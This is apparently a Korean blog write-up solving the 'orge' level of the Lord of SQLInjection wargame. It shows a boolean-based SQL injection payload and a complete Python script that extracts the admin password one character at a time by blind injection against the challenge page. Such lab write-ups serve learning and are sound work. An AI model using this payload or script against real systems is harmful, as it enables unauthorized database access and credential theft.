Lord of SQLInjection (orge)
✏️ 풀이
해당 문제에선 darkelf 문제와 동일하게 진행하고, addslashes
함수를 이용해 pw 값에 대해서 필터링을 진행하고 pw 값이 admin의 pw 값이면 solve이다. 이 문제는 darkelf에서 Blind SQLi 만 추가해서 답을 알 수 있다.
darkelf 문제에선 1' || id='admin' %26%26 1=1 -- -
로 or and 연산자를 ||
&&
문자를 이용해 풀었었다. 이제 1=1 부분을 ascii(substr(pw,1,1))=65
처럼 바꿔서 파이썬 코드를 짜면 된다.
파이썬 코드를 짤 때 주의할 점은 &&를 인코딩한 게 아닌 && 그대로 넣어서 blind sqli 자동화 코드를 짜면 된다.
import requests
from bs4 import BeautifulSoup
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
cookie = {"PHPSESSID": "3gkm2054bi501f689hd20e39cp"}
pw = ""
for i in range(1, 50):
found = False
for j in range(32, 128):
param = {"pw": f"1' || id='admin' && ascii(substr(pw,{i},1))={j} -- -"}
r = requests.get(url=url, cookies=cookie, params=param)
html = r.text
soup = BeautifulSoup(html, "html.parser")
if "Hello admin" in soup.text:
print(f"[+] Found! {i}번째 자리는 {chr(j)}입니다.")
found = True
pw += chr(j)
print(f"현재까지 나온 pw: {pw}")
break
if not found:
print(f"[-] 종료: {i}번째 자리를 찾지 못했습니다.")
break
댓글남기기